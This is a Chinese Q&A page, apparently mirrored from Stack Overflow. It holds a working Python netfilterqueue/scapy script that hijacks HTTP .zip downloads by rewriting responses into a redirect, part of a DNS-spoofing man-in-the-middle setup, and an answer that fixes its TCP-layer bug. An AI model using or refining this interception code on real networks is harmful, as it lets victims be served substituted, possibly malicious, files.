首页 > 解决方案 > Replace_Downloads.py 中的 Python 异常 IndexError

问题描述

我正在为 DNS 欺骗程序下载替换程序编写代码,并且一切正常,它完成了它应该做的事情。但是,我一直觉得这很烦人:-“异常 IndexError: IndexError('Layer [TCP] not found',) in 'netfilterqueue.global_callback'被忽略了”这个错误让我发疯:P

这是我的 Replace_Downloads.py 代码:

#!/usr/bin/env python

import netfilterqueue
import scapy.all as scapy

ack_list = []

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet[scapy.TCP].dport == 80:
            if ".zip" in scapy_packet[scapy.Raw].load:
                print("[+] zip Request")
                ack_list.append(scapy_packet[scapy.TCP].ack)

        elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print("[+] Replacing file")
                modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: http://www.example.org/index.asp\n\n")

                packet.set_payload(str(modified_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

标签: python

解决方案


并非所有 IP 数据包都是 TCP。

您只需要在开始解包 TCP 层之前添加一个检查。一个简单的方法是更换

scapy_packet.haslayer(scapy.Raw):

scapy.Raw in scapy_packet and scapy.TCP in scapy_packet:

推荐阅读